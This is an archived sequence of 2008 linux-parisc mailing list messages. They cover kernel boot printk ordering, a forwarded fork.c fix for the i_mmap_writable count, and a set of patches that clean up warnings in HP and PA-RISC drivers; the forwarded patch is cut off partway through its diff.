X-Trace: ger.gmane.org 1228913126 18910 80.91.229.12 (10 Dec 2008 12:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2008 12:45:26 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	Richard Henderson <rth@twiddle.net>,
	Russell King <rmk@arm.linux.org.uk>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Bryan Wu <cooloney@kernel.org>,
	Mikael Starvik <starvik@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Tony Luck <tony.luck@intel.com>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Greg Ungerer <gerg@uclinux.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Paul Mundt <lethal@linux-sh.org>,
	"David S. Miller" <davem@davemloft.net>,
	Jeff Dike <jdike@addtoit.com>, Ingo Molnar <mingo@redhat.com>,
	Chris Zankel <chris@zankel.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 13:46:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAOSM-00004w-Ek
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 13:46:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750967AbYLJMpI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 07:45:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751657AbYLJMpI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 07:45:08 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:41901 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750967AbYLJMpG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 07:45:06 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 2376FDDEE8;
	Wed, 10 Dec 2008 23:45:05 +1100 (EST)
User-Agent: KMail/1.10.1 (Linux/2.6.27-9-generic; KDE/4.1.2; i686; ; )
In-Reply-To: <20081209225931.GA7015@bombadil.infradead.org>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:942 gmane.linux.kernel:767364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/942>

On Wednesday 10 December 2008 09:29:31 Kyle McMartin wrote:
> On Wed, Dec 10, 2008 at 08:50:24AM +1030, Rusty Russell wrote:
> > Rusty Russell (10):
> > <snip>
> >       param: move banner printing to top of start_kernel.    
> > 
> 
> Will this not run afoul of lockdep since it will be attempting to take
> locks before lockdep has initialized?

Hmm, works for me here.  But then, i386_start_kernel -> reserve_ebda_region
->printk already, so that banner is *still* not first line.

> (as an aside, it would be nice if it came after setup_arch, since on
> some horrible platforms, printk_time needs the fpu turned on for
> (integer) division, but there's no arch hook before the first printk, so
> one needs to hijack the start_kernel entrypoint...)

That won't help much, since a failed kernel parameter parse will also call
printk.  I don't think it's sane to call start_kernel without the
ability to do integer division!

Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Wed, 10 Dec 2008 16:46:38 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <20081210214638.GA28696@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228945623 8696 80.91.229.12 (10 Dec 2008 21:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2008 21:47:03 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 22:48:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAWuQ-0004Ee-8j
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 22:47:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755342AbYLJVqk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 16:46:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755357AbYLJVqk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 16:46:40 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49197 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755342AbYLJVqj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 16:46:39 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LAWtC-00087h-TH
	for linux-parisc@vger.kernel.org; Wed, 10 Dec 2008 21:46:39 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/943>

This may explain some of the userspace issues we've been seeing.

----- Forwarded message from Hugh Dickins <hugh@veritas.com> -----

Sender: linux-arch-owner@vger.kernel.org
From: Hugh Dickins <hugh@veritas.com>
Subject: [PATCH] fix mapping_writably_mapped()
To: Linus Torvalds <torvalds@linux-foundation.org>
cc: Andrew Morton <akpm@linux-foundation.org>,
	Lee Schermerhorn <Lee.Schermerhorn@hp.com>, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	stable@kernel.org
Date: Wed, 10 Dec 2008 20:48:52 +0000 (GMT)
Message-ID: <Pine.LNX.4.64.0812102043060.25282@blonde.anvils>

Lee Schermerhorn noticed yesterday that I broke the mapping_writably_mapped
test in 2.6.7!  Bad bad bug, good good find.

The i_mmap_writable count must be incremented for VM_SHARED (just as
i_writecount is for VM_DENYWRITE, but while holding the i_mmap_lock)
when dup_mmap() copies the vma for fork: it has its own more optimal
version of __vma_link_file(), and I missed this out.  So the count
was later going down to 0 (dangerous) when one end unmapped, then
wrapping negative (inefficient) when the other end unmapped.

The only impact on x86 would have been that setting a mandatory lock on
a file which has at some time been opened O_RDWR and mapped MAP_SHARED
(but not necessarily PROT_WRITE) across a fork, might fail with -EAGAIN
when it should succeed, or succeed when it should fail.

But those architectures which rely on flush_dcache_page() to flush
userspace modifications back into the page before the kernel reads it,
may in some cases have skipped the flush after such a fork - though any
repetitive test will soon wrap the count negative, in which case it will
flush_dcache_page() unnecessarily.

Fix would be a two-liner, but mapping variable added, and comment moved.

Reported-by: Lee Schermerhorn <Lee.Schermerhorn@hp.com>
Signed-off-by: Hugh Dickins <hugh@veritas.com>
---

 kernel/fork.c |   15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

--- 2.6.28-rc7/kernel/fork.c	2008-11-15 23:09:30.000000000 +0000
+++ linux/kernel/fork.c	2008-12-10 12:49:13.000000000 +0000
@@ -315,17 +315,20 @@ static int dup_mmap(struct mm_struct *mm
 		file = tmp->vm_file;
 		if (file) {
 			struct inode *inode = file->f_path.dentry->d_inode;
+			struct address_space *mapping = file->f_mapping;
+
 			get_file(file);
 			if (tmp->vm_flags & VM_DENYWRITE)
 				atomic_dec(&inode->i_writecount);

From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: [PATCH] fix mapping_writably_mapped()
Date: Wed, 10 Dec 2008 14:47:47 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20081210214747.GD25548@parisc-linux.org>
References: <20081210214638.GA28696@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1228945683 8859 80.91.229.12 (10 Dec 2008 21:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Dec 2008 21:48:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 10 22:49:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAWvX-0004g0-4z
	for glpp-linux-parisc@gmane.org; Wed, 10 Dec 2008 22:49:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752994AbYLJVrt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 16:47:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755364AbYLJVrt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 16:47:49 -0500
Original-Received: from palinux.external.hp.com ([192.25.206.14]:56616 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752994AbYLJVrs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 16:47:48 -0500
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 18E46494011; Wed, 10 Dec 2008 14:47:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20081210214638.GA28696@bombadil.infradead.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/944>

On Wed, Dec 10, 2008 at 04:46:38PM -0500, Kyle McMartin wrote:
> This may explain some of the userspace issues we've been seeing.

Yes.  Yes, it would.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] Fix warnings from various parisc and hp specific files
Date: Wed, 10 Dec 2008 21:26:14 -0500
Organization: nrc.ca
Lines: 310
Approved: news@gmane.org
Message-ID: <20081211022614.GA18170@hiauly1.hia.nrc.ca>
References: <20081210214638.GA28696@bombadil.infradead.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="+HP7ph2BbKc20aGI"
X-Trace: ger.gmane.org 1228962395 21487 80.91.229.12 (11 Dec 2008 02:26:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 02:26:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 03:27:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAbH6-0001Bs-Gy
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 03:27:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753780AbYLKC0U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 21:26:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754156AbYLKC0U
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 21:26:20 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2078 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753780AbYLKC0S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 21:26:18 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 183F54EE7; Wed, 10 Dec 2008 21:26:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20081210214638.GA28696@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/945>


--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Attached are various fixes to correct warnings.  Mostly, they fix
warnings about ignoring return values.  There is one warning about
using a possibly uninitialized variable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ccio-dma.c.d.1"

diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 71c1971..2d1aa6b 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -260,7 +260,7 @@ static int hil_kbd_connect(struct serio *serio, struct serio_driver *drv)
 {
 	struct hil_kbd	*kbd;
 	uint8_t		did, *idd;
-	int		i;
+	int		err, i;
 
 	kbd = kzalloc(sizeof(*kbd), GFP_KERNEL);
 	if (!kbd)
@@ -345,7 +345,13 @@ static int hil_kbd_connect(struct serio *serio, struct serio_driver *drv)
 	}
 	clear_bit(0, kbd->dev->keybit);
 
-	input_register_device(kbd->dev);
+	err = input_register_device(kbd->dev);
+	if (err < 0) {
+		input_free_device(kbd->dev);
+		kfree(kbd);
+		return err;
+	}
+
 	printk(KERN_INFO "input: %s, ID: %d\n",
 		kbd->dev->name, did);
 
diff --git a/drivers/input/misc/hp_sdc_rtc.c b/drivers/input/misc/hp_sdc_rtc.c
index 216a559..9a35a4c 100644
--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -52,6 +52,8 @@ MODULE_LICENSE("Dual BSD/GPL");
 
 #define RTC_VERSION "1.10d"
 
+#define CONFIG_EXPERIMENTAL_IOCTL 0
+
 static unsigned long epoch = 2000;
 
 static struct semaphore i8042tregs;
@@ -108,7 +110,9 @@ static int hp_sdc_rtc_do_read_bbrtc (struct rtc_time *rtctm)
 	
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&tsem);  /* Put ourselves to sleep for results. */
+	/* Put ourselves to sleep for results. */
+	if (down_interruptible(&tsem) < 0)
+		return -1;
 	
 	/* Check for nonpresence of BBRTC */
 	if (!((tseq[83] | tseq[90] | tseq[69] | tseq[76] |
@@ -175,11 +179,16 @@ static int64_t hp_sdc_rtc_read_i8042timer (uint8_t loadcmd, int numreg)
 	t.seq =			tseq;
 	t.act.semaphore =	&i8042tregs;
 
-	down_interruptible(&i8042tregs);  /* Sleep if output regs in use. */
+	/* Sleep if output regs in use. */
+	if (down_interruptible(&i8042tregs) < 0)
+		return -1;
 
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&i8042tregs);  /* Sleep until results come back. */
+	/* Sleep until results come back. */
+	if (down_interruptible(&i8042tregs) < 0)
+		return -1;
+
 	up(&i8042tregs);
 
 	return (tseq[5] | 
@@ -274,6 +283,7 @@ static inline int hp_sdc_rtc_read_ct(struct timeval *res) {
 	return 0;
 }
 
+#if CONFIG_EXPERIMENTAL_IOCTL
 
 /* Set the i8042 real-time clock */
 static int hp_sdc_rtc_set_rt (struct timeval *setto)
@@ -386,6 +396,8 @@ static int hp_sdc_rtc_set_i8042timer (struct timeval *setto, uint8_t setcmd)
 	return 0;
 }
 
+#endif /* CONFIG_EXPERIMENTAL_IOCTL */
+
 static ssize_t hp_sdc_rtc_read(struct file *file, char __user *buf,
 			       size_t count, loff_t *ppos) {
 	ssize_t retval;
@@ -517,7 +529,7 @@ static int hp_sdc_rtc_read_proc(char *page, char **start, off_t off,
 static int hp_sdc_rtc_ioctl(struct inode *inode, struct file *file, 
 			    unsigned int cmd, unsigned long arg)
 {
-#if 1
+#if !CONFIG_EXPERIMENTAL_IOCTL
 	return -EINVAL;
 #else
 	
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index dcc1e99..a194acb 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1028,8 +1028,10 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 
 	while (ioc != NULL) {
 		unsigned int total_pages = ioc->res_size << 3;
+#ifdef CCIO_COLLECT_STATS
 		unsigned long avg = 0, min, max;
 		int j;
+#endif
 
 		len += seq_printf(m, "%s\n", ioc->name);
 		

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hp_sdc_rtc.c.d.1"

diff --git a/drivers/input/misc/hp_sdc_rtc.c b/drivers/input/misc/hp_sdc_rtc.c
index 216a559..9a35a4c 100644
--- a/drivers/input/misc/hp_sdc_rtc.c
+++ b/drivers/input/misc/hp_sdc_rtc.c
@@ -52,6 +52,8 @@ MODULE_LICENSE("Dual BSD/GPL");
 
 #define RTC_VERSION "1.10d"
 
+#define CONFIG_EXPERIMENTAL_IOCTL 0
+
 static unsigned long epoch = 2000;
 
 static struct semaphore i8042tregs;
@@ -108,7 +110,9 @@ static int hp_sdc_rtc_do_read_bbrtc (struct rtc_time *rtctm)
 	
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&tsem);  /* Put ourselves to sleep for results. */
+	/* Put ourselves to sleep for results. */
+	if (down_interruptible(&tsem) < 0)
+		return -1;
 	
 	/* Check for nonpresence of BBRTC */
 	if (!((tseq[83] | tseq[90] | tseq[69] | tseq[76] |
@@ -175,11 +179,16 @@ static int64_t hp_sdc_rtc_read_i8042timer (uint8_t loadcmd, int numreg)
 	t.seq =			tseq;
 	t.act.semaphore =	&i8042tregs;
 
-	down_interruptible(&i8042tregs);  /* Sleep if output regs in use. */
+	/* Sleep if output regs in use. */
+	if (down_interruptible(&i8042tregs) < 0)
+		return -1;
 
 	if (hp_sdc_enqueue_transaction(&t)) return -1;
 	
-	down_interruptible(&i8042tregs);  /* Sleep until results come back. */
+	/* Sleep until results come back. */
+	if (down_interruptible(&i8042tregs) < 0)
+		return -1;
+
 	up(&i8042tregs);
 
 	return (tseq[5] | 
@@ -274,6 +283,7 @@ static inline int hp_sdc_rtc_read_ct(struct timeval *res) {
 	return 0;
 }
 
+#if CONFIG_EXPERIMENTAL_IOCTL
 
 /* Set the i8042 real-time clock */
 static int hp_sdc_rtc_set_rt (struct timeval *setto)
@@ -386,6 +396,8 @@ static int hp_sdc_rtc_set_i8042timer (struct timeval *setto, uint8_t setcmd)
 	return 0;
 }
 
+#endif /* CONFIG_EXPERIMENTAL_IOCTL */
+
 static ssize_t hp_sdc_rtc_read(struct file *file, char __user *buf,
 			       size_t count, loff_t *ppos) {
 	ssize_t retval;
@@ -517,7 +529,7 @@ static int hp_sdc_rtc_read_proc(char *page, char **start, off_t off,
 static int hp_sdc_rtc_ioctl(struct inode *inode, struct file *file, 
 			    unsigned int cmd, unsigned long arg)
 {
-#if 1
+#if !CONFIG_EXPERIMENTAL_IOCTL
 	return -EINVAL;
 #else
 	

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hil_kbd.c.d.1"

diff --git a/drivers/input/keyboard/hil_kbd.c b/drivers/input/keyboard/hil_kbd.c
index 71c1971..2d1aa6b 100644
--- a/drivers/input/keyboard/hil_kbd.c
+++ b/drivers/input/keyboard/hil_kbd.c
@@ -260,7 +260,7 @@ static int hil_kbd_connect(struct serio *serio, struct serio_driver *drv)
 {
 	struct hil_kbd	*kbd;
 	uint8_t		did, *idd;
-	int		i;
+	int		err, i;
 
 	kbd = kzalloc(sizeof(*kbd), GFP_KERNEL);
 	if (!kbd)
@@ -345,7 +345,13 @@ static int hil_kbd_connect(struct serio *serio, struct serio_driver *drv)
 	}
 	clear_bit(0, kbd->dev->keybit);
 
-	input_register_device(kbd->dev);
+	err = input_register_device(kbd->dev);
+	if (err < 0) {
+		input_free_device(kbd->dev);
+		kfree(kbd);
+		return err;
+	}
+
 	printk(KERN_INFO "input: %s, ID: %d\n",
 		kbd->dev->name, did);
 

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="dino.c.d.1"

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 3bc54b3..a61a37c 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -614,7 +614,9 @@ dino_fixup_bus(struct pci_bus *bus)
 			    bus->self->dev.bus_id, i,
 			    bus->self->resource[i].start,
 			    bus->self->resource[i].end);
-			pci_assign_resource(bus->self, i);
+			if (pci_assign_resource(bus->self, i) != 0) {
+				printk(KERN_WARNING "Could not assign dino bus resource\n");
+			}
 			DBG("DEBUG %s after assign %d [0x%lx,0x%lx]\n",
 			    bus->self->dev.bus_id, i,
 			    bus->self->resource[i].start,

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="8250.c.d.1"

diff --git a/drivers/serial/8250.c b/drivers/serial/8250.c
index 303272a..c3120be 100644
--- a/drivers/serial/8250.c
+++ b/drivers/serial/8250.c
@@ -1609,7 +1609,7 @@ static int serial_link_irq_chain(struct uart_8250_port *up)
 
 static void serial_unlink_irq_chain(struct uart_8250_port *up)
 {
-	struct irq_info *i;
+	struct irq_info *i = NULL;
 	struct hlist_node *n;
 	struct hlist_head *h;
 
@@ -1624,6 +1624,7 @@ static void serial_unlink_irq_chain(struct uart_8250_port *up)
 	}
 
 	BUG_ON(n == NULL);
+	BUG_ON(i == NULL);
 	BUG_ON(i->head == NULL);
 
 	if (list_empty(i->head))

--+HP7ph2BbKc20aGI
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hp_sdc_mlc.c.d.1"

diff --git a/drivers/input/serio/hp_sdc_mlc.c b/drivers/input/serio/hp_sdc_mlc.c
index b587e2d..15c99fb 100644
--- a/drivers/input/serio/hp_sdc_mlc.c
+++ b/drivers/input/serio/hp_sdc_mlc.c
@@ -295,8 +295,9 @@ static void hp_sdc_mlc_out(hil_mlc *mlc)
 	/* priv->tseq[3] = (mlc->ddc + 1) | HP_SDC_LPS_ACSUCC; */
 	priv->tseq[3] = 0;
 	if (mlc->opacket & HIL_CTRL_APE) {
+		int ignore;
 		priv->tseq[3] |= HP_SDC_LPC_APE_IPF;
-		down_trylock(&mlc->csem);
+		ignore = down_trylock(&mlc->csem);
 	}
  enqueue:
 	hp_sdc_enqueue_transaction(&priv->trans);

--+HP7ph2BbKc20aGI--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] Fix warnings from various parisc and hp specific files
Date: Wed, 10 Dec 2008 21:34:00 -0500
Organization: nrc.ca
Lines: 44
Approved: news@gmane.org
Message-ID: <20081211023400.GA18981@hiauly1.hia.nrc.ca>
References: <20081210214638.GA28696@bombadil.infradead.org> <20081211022614.GA18170@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf"
X-Trace: ger.gmane.org 1228962856 22501 80.91.229.12 (11 Dec 2008 02:34:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Dec 2008 02:34:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 11 03:35:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LAbOZ-0002xb-LN
	for glpp-linux-parisc@gmane.org; Thu, 11 Dec 2008 03:35:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754472AbYLKCeF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Dec 2008 21:34:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754429AbYLKCeE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Dec 2008 21:34:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2127 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754472AbYLKCeE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Dec 2008 21:34:04 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 861F54E99; Wed, 10 Dec 2008 21:34:01 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20081211022614.GA18170@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/946>


--J2SCkAp4GZ/dPZZf
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, 10 Dec 2008, John David Anglin wrote:

> Attached are various fixes to correct warnings.  Mostly, they fix
> warnings about ignoring return values.  There is one warning about
> using a possibly uninitialized variable.

ccio-dma.c patch had some extra stuff.  Re-attaching.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--J2SCkAp4GZ/dPZZf
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="ccio-dma.c.d.1"

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index dcc1e99..a194acb 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1028,8 +1028,10 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 
 	while (ioc != NULL) {
 		unsigned int total_pages = ioc->res_size << 3;
+#ifdef CCIO_COLLECT_STATS
 		unsigned long avg = 0, min, max;
 		int j;
+#endif
 
 		len += seq_printf(m, "%s\n", ioc->name);
 		

--J2SCkAp4GZ/dPZZf--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
